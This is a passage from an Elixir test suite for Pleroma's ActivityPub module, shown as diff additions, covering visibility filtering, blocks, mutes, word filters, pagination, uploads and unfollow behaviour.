mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :federating]) + + describe "streaming out participations" do + test "it streams them out" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + {:ok, conversation} = Pleroma.Conversation.create_or_bump_for(activity) + + participations = + conversation.participations + |> Repo.preload(:user) + + with_mock Pleroma.Web.Streamer, + stream: fn _, _ -> nil end do + ActivityPub.stream_out_participations(conversation.participations) + + assert called(Pleroma.Web.Streamer.stream("participation", participations)) + end + end + + test "streams them out on activity creation" do + user_one = insert(:user) + user_two = insert(:user) + + with_mock Pleroma.Web.Streamer, + stream: fn _, _ -> nil end do + {:ok, activity} = + CommonAPI.post(user_one, %{ + status: "@#{user_two.nickname}", + visibility: "direct" + }) + + conversation = + activity.data["context"] + |> Pleroma.Conversation.get_for_ap_id() + |> Repo.preload(participations: :user) + + assert called(Pleroma.Web.Streamer.stream("participation", conversation.participations)) + end + end + end + + describe "fetching restricted by visibility" do + test "it restricts by the appropriate visibility" do + user = insert(:user) + + {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + + {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) + + {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + + activities = ActivityPub.fetch_activities([], %{visibility: "direct", actor_id: user.ap_id}) + + assert activities == [direct_activity] + + activities = + ActivityPub.fetch_activities([], %{visibility: "unlisted", actor_id: user.ap_id}) + + assert activities == [unlisted_activity] + + activities = + ActivityPub.fetch_activities([], %{visibility: "private", actor_id: user.ap_id}) + + assert activities == [private_activity] + + activities = ActivityPub.fetch_activities([], %{visibility: "public", actor_id: user.ap_id}) + + assert activities == [public_activity] + + activities = + ActivityPub.fetch_activities([], %{ + visibility: ~w[private public], + actor_id: user.ap_id + }) + + assert activities == [public_activity, private_activity] + end + end + + describe "fetching excluded by visibility" do + test "it excludes by the appropriate visibility" do + user = insert(:user) + + {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + + {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) + + {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + + activities = + ActivityPub.fetch_activities([], %{ + exclude_visibilities: "direct", + actor_id: user.ap_id + }) + + assert public_activity in activities + assert unlisted_activity in activities + assert private_activity in activities + refute direct_activity in activities + + activities = + ActivityPub.fetch_activities([], %{ + exclude_visibilities: "unlisted", + actor_id: user.ap_id + }) + + assert public_activity in activities + refute unlisted_activity in activities + assert private_activity in activities + assert direct_activity in activities + + activities = + ActivityPub.fetch_activities([], %{ + exclude_visibilities: "private", + actor_id: user.ap_id + }) + + assert public_activity in activities + assert unlisted_activity in activities + refute private_activity in activities + assert direct_activity in activities + + activities = + ActivityPub.fetch_activities([], %{ + exclude_visibilities: "public", + actor_id: user.ap_id + }) + + refute public_activity in activities + assert unlisted_activity in activities + assert private_activity in activities + assert direct_activity in activities + end + end + + describe "building a user from his ap id" do + test "it returns a user" do + user_id = "http://mastodon.example.org/users/admin" + {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) + assert user.ap_id == user_id + assert user.nickname == "admin@mastodon.example.org" + assert user.ap_enabled + assert user.follower_address == "http://mastodon.example.org/users/admin/followers" + end + + test "it returns a user that is invisible" do + user_id = "http://mastodon.example.org/users/relay" + {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) + assert User.invisible?(user) + end + + test "it returns a user that accepts chat messages" do + user_id = "http://mastodon.example.org/users/admin" + {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) + + assert user.accepts_chat_messages + end + end + + test "it fetches the appropriate tag-restricted posts" do + user = insert(:user) + + {:ok, status_one} = CommonAPI.post(user, %{status: ". #test"}) + {:ok, status_two} = CommonAPI.post(user, %{status: ". #essais"}) + {:ok, status_three} = CommonAPI.post(user, %{status: ". #test #reject"}) + + fetch_one = ActivityPub.fetch_activities([], %{type: "Create", tag: "test"}) + + fetch_two = ActivityPub.fetch_activities([], %{type: "Create", tag: ["test", "essais"]}) + + fetch_three = + ActivityPub.fetch_activities([], %{ + type: "Create", + tag: ["test", "essais"], + tag_reject: ["reject"] + }) + + fetch_four = + ActivityPub.fetch_activities([], %{ + type: "Create", + tag: ["test"], + tag_all: ["test", "reject"] + }) + + assert fetch_one == [status_one, status_three] + assert fetch_two == [status_one, status_two, status_three] + assert fetch_three == [status_one, status_two] + assert fetch_four == [status_three] + end + + describe "insertion" do + test "drops activities beyond a certain limit" do + limit = Config.get([:instance, :remote_limit]) + + random_text = + :crypto.strong_rand_bytes(limit + 1) + |> Base.encode64() + |> binary_part(0, limit + 1) + + data = %{ + "ok" => true, + "object" => %{ + "content" => random_text + } + } + + assert {:error, :remote_limit} = ActivityPub.insert(data) + end + + test "doesn't drop activities with content being null" do + user = insert(:user) + + data = %{ + "actor" => user.ap_id, + "to" => [], + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => nil + } + } + + assert {:ok, _} = ActivityPub.insert(data) + end + + test "returns the activity if one with the same id is already in" do + activity = insert(:note_activity) + {:ok, new_activity} = ActivityPub.insert(activity.data) + + assert activity.id == new_activity.id + end + + test "inserts a given map into the activity database, giving it an id if it has none." do + user = insert(:user) + + data = %{ + "actor" => user.ap_id, + "to" => [], + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => "hey" + } + } + + {:ok, %Activity{} = activity} = ActivityPub.insert(data) + assert activity.data["ok"] == data["ok"] + assert is_binary(activity.data["id"]) + + given_id = "bla" + + data = %{ + "id" => given_id, + "actor" => user.ap_id, + "to" => [], + "context" => "blabla", + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => "hey" + } + } + + {:ok, %Activity{} = activity} = ActivityPub.insert(data) + assert activity.data["ok"] == data["ok"] + assert activity.data["id"] == given_id + assert activity.data["context"] == "blabla" + assert activity.data["context_id"] + end + + test "adds a context when none is there" do + user = insert(:user) + + data = %{ + "actor" => user.ap_id, + "to" => [], + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => "hey" + } + } + + {:ok, %Activity{} = activity} = ActivityPub.insert(data) + object = Pleroma.Object.normalize(activity) + + assert is_binary(activity.data["context"]) + assert is_binary(object.data["context"]) + assert activity.data["context_id"] + assert object.data["context_id"] + end + + test "adds an id to a given object if it lacks one and is a note and inserts it to the object database" do + user = insert(:user) + + data = %{ + "actor" => user.ap_id, + "to" => [], + "object" => %{ + "actor" => user.ap_id, + "to" => [], + "type" => "Note", + "content" => "hey" + } + } + + {:ok, %Activity{} = activity} = ActivityPub.insert(data) + assert object = Object.normalize(activity) + assert is_binary(object.data["id"]) + end + end + + describe "listen activities" do + test "does not increase user note count" do + user = insert(:user) + + {:ok, activity} = + ActivityPub.listen(%{ + to: ["https://www.w3.org/ns/activitystreams#Public"], + actor: user, + context: "", + object: %{ + "actor" => user.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "artist" => "lain", + "title" => "lain radio episode 1", + "length" => 180_000, + "type" => "Audio" + } + }) + + assert activity.actor == user.ap_id + + user = User.get_cached_by_id(user.id) + assert user.note_count == 0 + end + + test "can be fetched into a timeline" do + _listen_activity_1 = insert(:listen) + _listen_activity_2 = insert(:listen) + _listen_activity_3 = insert(:listen) + + timeline = ActivityPub.fetch_activities([], %{type: ["Listen"]}) + + assert length(timeline) == 3 + end + end + + describe "create activities" do + setup do + [user: insert(:user)] + end + + test "it reverts create", %{user: user} do + with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do + assert {:error, :reverted} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + } + }) + end + + assert Repo.aggregate(Activity, :count, :id) == 0 + assert Repo.aggregate(Object, :count, :id) == 0 + end + + test "creates activity if expiration is not configured and expires_at is not passed", %{ + user: user + } do + clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) + + assert {:ok, _} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + } + }) + end + + test "rejects activity if expires_at present but expiration is not configured", %{user: user} do + clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) + + assert {:error, :expired_activities_disabled} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + }, + additional: %{ + "expires_at" => DateTime.utc_now() + } + }) + + assert Repo.aggregate(Activity, :count, :id) == 0 + assert Repo.aggregate(Object, :count, :id) == 0 + end + + test "removes doubled 'to' recipients", %{user: user} do + {:ok, activity} = + ActivityPub.create(%{ + to: ["user1", "user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user1", "user2"], + "type" => "Note", + "content" => "testing" + } + }) + + assert activity.data["to"] == ["user1", "user2"] + assert activity.actor == user.ap_id + assert activity.recipients == ["user1", "user2", user.ap_id] + end + + test "increases user note count only for public activities", %{user: user} do + {:ok, _} = + CommonAPI.post(User.get_cached_by_id(user.id), %{ + status: "1", + visibility: "public" + }) + + {:ok, _} = + CommonAPI.post(User.get_cached_by_id(user.id), %{ + status: "2", + visibility: "unlisted" + }) + + {:ok, _} = + CommonAPI.post(User.get_cached_by_id(user.id), %{ + status: "2", + visibility: "private" + }) + + {:ok, _} = + CommonAPI.post(User.get_cached_by_id(user.id), %{ + status: "3", + visibility: "direct" + }) + + user = User.get_cached_by_id(user.id) + assert user.note_count == 2 + end + + test "increases replies count", %{user: user} do + user2 = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "1", visibility: "public"}) + ap_id = activity.data["id"] + reply_data = %{status: "1", in_reply_to_status_id: activity.id} + + # public + {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "public")) + assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert object.data["repliesCount"] == 1 + + # unlisted + {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "unlisted")) + assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert object.data["repliesCount"] == 2 + + # private + {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "private")) + assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert object.data["repliesCount"] == 2 + + # direct + {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "direct")) + assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert object.data["repliesCount"] == 2 + end + end + + describe "fetch activities for recipients" do + test "retrieve the activities for certain recipients" do + {:ok, activity_one} = ActivityBuilder.insert(%{"to" => ["someone"]}) + {:ok, activity_two} = ActivityBuilder.insert(%{"to" => ["someone_else"]}) + {:ok, _activity_three} = ActivityBuilder.insert(%{"to" => ["noone"]}) + + activities = ActivityPub.fetch_activities(["someone", "someone_else"]) + assert length(activities) == 2 + assert activities == [activity_one, activity_two] + end + end + + describe "fetch activities in context" do + test "retrieves activities that have a given context" do + {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"}) + {:ok, activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"}) + {:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) + {:ok, _activity_four} = ActivityBuilder.insert(%{"type" => "Announce", "context" => "2hu"}) + activity_five = insert(:note_activity) + user = insert(:user) + + {:ok, _user_relationship} = User.block(user, %{ap_id: activity_five.data["actor"]}) + + activities = ActivityPub.fetch_activities_for_context("2hu", %{blocking_user: user}) + assert activities == [activity_two, activity] + end + + test "doesn't return activities with filtered words" do + user = insert(:user) + user_two = insert(:user) + insert(:filter, user: user, phrase: "test", hide: true) + + {:ok, %{id: id1, data: %{"context" => context}}} = CommonAPI.post(user, %{status: "1"}) + + {:ok, %{id: id2}} = CommonAPI.post(user_two, %{status: "2", in_reply_to_status_id: id1}) + + {:ok, %{id: id3} = user_activity} = + CommonAPI.post(user, %{status: "3 test?", in_reply_to_status_id: id2}) + + {:ok, %{id: id4} = filtered_activity} = + CommonAPI.post(user_two, %{status: "4 test!", in_reply_to_status_id: id3}) + + {:ok, _} = CommonAPI.post(user, %{status: "5", in_reply_to_status_id: id4}) + + activities = + context + |> ActivityPub.fetch_activities_for_context(%{user: user}) + |> Enum.map(& &1.id) + + assert length(activities) == 4 + assert user_activity.id in activities + refute filtered_activity.id in activities + end + end + + test "doesn't return blocked activities" do + activity_one = insert(:note_activity) + activity_two = insert(:note_activity) + activity_three = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + {:ok, _user_relationship} = User.block(user, %{ap_id: activity_one.data["actor"]}) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + refute Enum.member?(activities, activity_one) + + {:ok, _user_block} = User.unblock(user, %{ap_id: activity_one.data["actor"]}) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, activity_one) + + {:ok, _user_relationship} = User.block(user, %{ap_id: activity_three.data["actor"]}) + {:ok, %{data: %{"object" => id}}} = CommonAPI.repeat(activity_three.id, booster) + %Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id) + activity_three = Activity.get_by_id(activity_three.id) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + refute Enum.member?(activities, activity_three) + refute Enum.member?(activities, boost_activity) + assert Enum.member?(activities, activity_one) + + activities = ActivityPub.fetch_activities([], %{blocking_user: nil, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, boost_activity) + assert Enum.member?(activities, activity_one) + end + + test "doesn't return transitive interactions concerning blocked users" do + blocker = insert(:user) + blockee = insert(:user) + friend = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, activity_two} = CommonAPI.post(friend, %{status: "hey! @#{blockee.nickname}"}) + + {:ok, activity_three} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) + + {:ok, activity_four} = CommonAPI.post(blockee, %{status: "hey! @#{blocker.nickname}"}) + + activities = ActivityPub.fetch_activities([], %{blocking_user: blocker}) + + assert Enum.member?(activities, activity_one) + refute Enum.member?(activities, activity_two) + refute Enum.member?(activities, activity_three) + refute Enum.member?(activities, activity_four) + end + + test "doesn't return announce activities with blocked users in 'to'" do + blocker = insert(:user) + blockee = insert(:user) + friend = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) + + {:ok, activity_three} = CommonAPI.repeat(activity_two.id, friend) + + activities = + ActivityPub.fetch_activities([], %{blocking_user: blocker}) + |> Enum.map(fn act -> act.id end) + + assert Enum.member?(activities, activity_one.id) + refute Enum.member?(activities, activity_two.id) + refute Enum.member?(activities, activity_three.id) + end + + test "doesn't return announce activities with blocked users in 'cc'" do + blocker = insert(:user) + blockee = insert(:user) + friend = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) + + assert object = Pleroma.Object.normalize(activity_two) + + data = %{ + "actor" => friend.ap_id, + "object" => object.data["id"], + "context" => object.data["context"], + "type" => "Announce", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [blockee.ap_id] + } + + assert {:ok, activity_three} = ActivityPub.insert(data) + + activities = + ActivityPub.fetch_activities([], %{blocking_user: blocker}) + |> Enum.map(fn act -> act.id end) + + assert Enum.member?(activities, activity_one.id) + refute Enum.member?(activities, activity_two.id) + refute Enum.member?(activities, activity_three.id) + end + + test "doesn't return activities from blocked domains" do + domain = "dogwhistle.zone" + domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"}) + note = insert(:note, %{data: %{"actor" => domain_user.ap_id}}) + activity = insert(:note_activity, %{note: note}) + user = insert(:user) + {:ok, user} = User.block_domain(user, domain) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + refute activity in activities + + followed_user = insert(:user) + CommonAPI.follow(user, followed_user) + {:ok, repeat_activity} = CommonAPI.repeat(activity.id, followed_user) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + refute repeat_activity in activities + end + + test "does return activities from followed users on blocked domains" do + domain = "meanies.social" + domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"}) + blocker = insert(:user) + + {:ok, blocker} = User.follow(blocker, domain_user) + {:ok, blocker} = User.block_domain(blocker, domain) + + assert User.following?(blocker, domain_user) + assert User.blocks_domain?(blocker, domain_user) + refute User.blocks?(blocker, domain_user) + + note = insert(:note, %{data: %{"actor" => domain_user.ap_id}}) + activity = insert(:note_activity, %{note: note}) + + activities = ActivityPub.fetch_activities([], %{blocking_user: blocker, skip_preload: true}) + + assert activity in activities + + # And check that if the guy we DO follow boosts someone else from their domain, + # that should be hidden + another_user = insert(:user, %{ap_id: "https://#{domain}/@meanie2"}) + bad_note = insert(:note, %{data: %{"actor" => another_user.ap_id}}) + bad_activity = insert(:note_activity, %{note: bad_note}) + {:ok, repeat_activity} = CommonAPI.repeat(bad_activity.id, domain_user) + + activities = ActivityPub.fetch_activities([], %{blocking_user: blocker, skip_preload: true}) + + refute repeat_activity in activities + end + + test "doesn't return muted activities" do + activity_one = insert(:note_activity) + activity_two = insert(:note_activity) + activity_three = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + + activity_one_actor = User.get_by_ap_id(activity_one.data["actor"]) + {:ok, _user_relationships} = User.mute(user, activity_one_actor) + + activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + refute Enum.member?(activities, activity_one) + + # Calling with 'with_muted' will deliver muted activities, too. + activities = + ActivityPub.fetch_activities([], %{ + muting_user: user, + with_muted: true, + skip_preload: true + }) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, activity_one) + + {:ok, _user_mute} = User.unmute(user, activity_one_actor) + + activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, activity_one) + + activity_three_actor = User.get_by_ap_id(activity_three.data["actor"]) + {:ok, _user_relationships} = User.mute(user, activity_three_actor) + {:ok, %{data: %{"object" => id}}} = CommonAPI.repeat(activity_three.id, booster) + %Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id) + activity_three = Activity.get_by_id(activity_three.id) + + activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + refute Enum.member?(activities, activity_three) + refute Enum.member?(activities, boost_activity) + assert Enum.member?(activities, activity_one) + + activities = ActivityPub.fetch_activities([], %{muting_user: nil, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, boost_activity) + assert Enum.member?(activities, activity_one) + end + + test "doesn't return thread muted activities" do + user = insert(:user) + _activity_one = insert(:note_activity) + note_two = insert(:note, data: %{"context" => "suya.."}) + activity_two = insert(:note_activity, note: note_two) + + {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two) + + assert [_activity_one] = ActivityPub.fetch_activities([], %{muting_user: user}) + end + + test "returns thread muted activities when with_muted is set" do + user = insert(:user) + _activity_one = insert(:note_activity) + note_two = insert(:note, data: %{"context" => "suya.."}) + activity_two = insert(:note_activity, note: note_two) + + {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two) + + assert [_activity_two, _activity_one] = + ActivityPub.fetch_activities([], %{muting_user: user, with_muted: true}) + end + + test "does include announces on request" do + activity_three = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + + {:ok, user} = User.follow(user, booster) + + {:ok, announce} = CommonAPI.repeat(activity_three.id, booster) + + [announce_activity] = ActivityPub.fetch_activities([user.ap_id | User.following(user)]) + + assert announce_activity.id == announce.id + end + + test "excludes reblogs on request" do + user = insert(:user) + {:ok, expected_activity} = ActivityBuilder.insert(%{"type" => "Create"}, %{:user => user}) + {:ok, _} = ActivityBuilder.insert(%{"type" => "Announce"}, %{:user => user}) + + [activity] = ActivityPub.fetch_user_activities(user, nil, %{exclude_reblogs: true}) + + assert activity == expected_activity + end + + describe "irreversible filters" do + setup do + user = insert(:user) + user_two = insert(:user) + + insert(:filter, user: user_two, phrase: "cofe", hide: true) + insert(:filter, user: user_two, phrase: "ok boomer", hide: true) + insert(:filter, user: user_two, phrase: "test", hide: false) + + params = %{ + type: ["Create", "Announce"], + user: user_two + } + + {:ok, %{user: user, user_two: user_two, params: params}} + end + + test "it returns statuses if they don't contain exact filter words", %{ + user: user, + params: params + } do + {:ok, _} = CommonAPI.post(user, %{status: "hey"}) + {:ok, _} = CommonAPI.post(user, %{status: "got cofefe?"}) + {:ok, _} = CommonAPI.post(user, %{status: "I am not a boomer"}) + {:ok, _} = CommonAPI.post(user, %{status: "ok boomers"}) + {:ok, _} = CommonAPI.post(user, %{status: "ccofee is not a word"}) + {:ok, _} = CommonAPI.post(user, %{status: "this is a test"}) + + activities = ActivityPub.fetch_activities([], params) + + assert Enum.count(activities) == 6 + end + + test "it does not filter user's own statuses", %{user_two: user_two, params: params} do + {:ok, _} = CommonAPI.post(user_two, %{status: "Give me some cofe!"}) + {:ok, _} = CommonAPI.post(user_two, %{status: "ok boomer"}) + + activities = ActivityPub.fetch_activities([], params) + + assert Enum.count(activities) == 2 + end + + test "it excludes statuses with filter words", %{user: user, params: params} do + {:ok, _} = CommonAPI.post(user, %{status: "Give me some cofe!"}) + {:ok, _} = CommonAPI.post(user, %{status: "ok boomer"}) + {:ok, _} = CommonAPI.post(user, %{status: "is it a cOfE?"}) + {:ok, _} = CommonAPI.post(user, %{status: "cofe is all I need"}) + {:ok, _} = CommonAPI.post(user, %{status: "— ok BOOMER\n"}) + + activities = ActivityPub.fetch_activities([], params) + + assert Enum.empty?(activities) + end + + test "it returns all statuses if user does not have any filters" do + another_user = insert(:user) + {:ok, _} = CommonAPI.post(another_user, %{status: "got cofe?"}) + {:ok, _} = CommonAPI.post(another_user, %{status: "test!"}) + + activities = + ActivityPub.fetch_activities([], %{ + type: ["Create", "Announce"], + user: another_user + }) + + assert Enum.count(activities) == 2 + end + end + + describe "public fetch activities" do + test "doesn't retrieve unlisted activities" do + user = insert(:user) + + {:ok, _unlisted_activity} = CommonAPI.post(user, %{status: "yeah", visibility: "unlisted"}) + + {:ok, listed_activity} = CommonAPI.post(user, %{status: "yeah"}) + + [activity] = ActivityPub.fetch_public_activities() + + assert activity == listed_activity + end + + test "retrieves public activities" do + _activities = ActivityPub.fetch_public_activities() + + %{public: public} = ActivityBuilder.public_and_non_public() + + activities = ActivityPub.fetch_public_activities() + assert length(activities) == 1 + assert Enum.at(activities, 0) == public + end + + test "retrieves a maximum of 20 activities" do + ActivityBuilder.insert_list(10) + expected_activities = ActivityBuilder.insert_list(20) + + activities = ActivityPub.fetch_public_activities() + + assert collect_ids(activities) == collect_ids(expected_activities) + assert length(activities) == 20 + end + + test "retrieves ids starting from a since_id" do + activities = ActivityBuilder.insert_list(30) + expected_activities = ActivityBuilder.insert_list(10) + since_id = List.last(activities).id + + activities = ActivityPub.fetch_public_activities(%{since_id: since_id}) + + assert collect_ids(activities) == collect_ids(expected_activities) + assert length(activities) == 10 + end + + test "retrieves ids up to max_id" do + ActivityBuilder.insert_list(10) + expected_activities = ActivityBuilder.insert_list(20) + + %{id: max_id} = + 10 + |> ActivityBuilder.insert_list() + |> List.first() + + activities = ActivityPub.fetch_public_activities(%{max_id: max_id}) + + assert length(activities) == 20 + assert collect_ids(activities) == collect_ids(expected_activities) + end + + test "paginates via offset/limit" do + _first_part_activities = ActivityBuilder.insert_list(10) + second_part_activities = ActivityBuilder.insert_list(10) + + later_activities = ActivityBuilder.insert_list(10) + + activities = ActivityPub.fetch_public_activities(%{page: "2", page_size: "20"}, :offset) + + assert length(activities) == 20 + + assert collect_ids(activities) == + collect_ids(second_part_activities) ++ collect_ids(later_activities) + end + + test "doesn't return reblogs for users for whom reblogs have been muted" do + activity = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster) + + {:ok, activity} = CommonAPI.repeat(activity.id, booster) + + activities = ActivityPub.fetch_activities([], %{muting_user: user}) + + refute Enum.any?(activities, fn %{id: id} -> id == activity.id end) + end + + test "returns reblogs for users for whom reblogs have not been muted" do + activity = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster) + {:ok, _reblog_mute} = CommonAPI.show_reblogs(user, booster) + + {:ok, activity} = CommonAPI.repeat(activity.id, booster) + + activities = ActivityPub.fetch_activities([], %{muting_user: user}) + + assert Enum.any?(activities, fn %{id: id} -> id == activity.id end) + end + end + + describe "uploading files" do + setup do + test_file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + %{test_file: test_file} + end + + test "sets a description if given", %{test_file: file} do + {:ok, %Object{} = object} = ActivityPub.upload(file, description: "a cool file") + assert object.data["name"] == "a cool file" + end + + test "it sets the default description depending on the configuration", %{test_file: file} do + clear_config([Pleroma.Upload, :default_description]) + + Pleroma.Config.put([Pleroma.Upload, :default_description], nil) + {:ok, %Object{} = object} = ActivityPub.upload(file) + assert object.data["name"] == "" + + Pleroma.Config.put([Pleroma.Upload, :default_description], :filename) + {:ok, %Object{} = object} = ActivityPub.upload(file) + assert object.data["name"] == "an_image.jpg" + + Pleroma.Config.put([Pleroma.Upload, :default_description], "unnamed attachment") + {:ok, %Object{} = object} = ActivityPub.upload(file) + assert object.data["name"] == "unnamed attachment" + end + + test "copies the file to the configured folder", %{test_file: file} do + clear_config([Pleroma.Upload, :default_description], :filename) + {:ok, %Object{} = object} = ActivityPub.upload(file) + assert object.data["name"] == "an_image.jpg" + end + + test "works with base64 encoded images" do + file = %{ + img: data_uri() + } + + {:ok, %Object{}} = ActivityPub.upload(file) + end + end + + describe "fetch the latest Follow" do + test "fetches the latest Follow activity" do + %Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity) + follower = Repo.get_by(User, ap_id: activity.data["actor"]) + followed = Repo.get_by(User, ap_id: activity.data["object"]) + + assert activity == Utils.fetch_latest_follow(follower, followed) + end + end + + describe "unfollowing" do + test "it reverts unfollow activity" do + follower = insert(:user) + followed = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + + with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do + assert {:error, :reverted} = ActivityPub.unfollow(follower, followed) + end + + activity = Activity.get_by_id(follow_activity.id) + assert activity.data["type"] == "Follow" + assert activity.data["actor"] == follower.ap_id + + assert activity.data["object"] == followed.ap_id + end + + test "creates an undo activity for the last follow" do + follower = insert(:user) + followed = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + {:ok, activity} = ActivityPub.unfollow(follower, followed) + + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == follower.ap_id + + embedded_object = activity.data["object"] + assert is_map(embedded_object) + assert embedded_object["type"] == "Follow" + assert embedded_object["object"] == followed.ap_id + assert embedded_object["id"] == follow_activity.data["id"] + end + + test "creates an undo activity for a pending follow request" do + follower = insert(:user) + followed = insert(:user, %{locked: true}) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + {:ok, activity} = ActivityPub.unfollow(follower, followed) + + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == follower.ap_id + + embedded_object = activity.data["object"] + assert is_map(embedded_object) + assert embedded_object["type"] == "Follow" + assert embedded_object["object"] == followed.ap_id + assert embedded_object["id"] == follow_activity.data["id"] + end + end + + describe "timeline post-processing" do + test "it filters broken threads" do + user1 = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + + {:ok, user1} = User.follow(user1, user3) + assert User.following?(user1, user3) + + {:ok, user2} = User.follow(user2, user3) + assert User.following?(user2, user3) + + {:ok, user3} = User.follow(user3, user2) + assert User.following?(user3, user2) + + {:ok, public_activity} = CommonAPI.post(user3, %{status: "hi 1"}) + + {:ok, private_activity_1} = CommonAPI.post(user3, %{status: "hi 2", visibility: "private"}) + + {:ok, private_activity_2} = + CommonAPI.post(user2, %{ + status: "hi 3", + visibility: "private", + in_reply_to_status_id: private_activity_1.id + }) + + {:ok, private_activity_3} = + CommonAPI.post(user3, %{ + status: "hi 4", + visibility: "private", + in_reply_to_status_id: private_activity_2.id + }) + + activities = + ActivityPub.fetch_activities([user1.ap_id | User.following(user1)]) + |> Enum.map(fn a -> a.id end) + + private_activity_1 = Activity.get_by_ap_id_with_object(private_activity_1.data["id"]) + + assert [public_activity.id, private_activity_1.id, 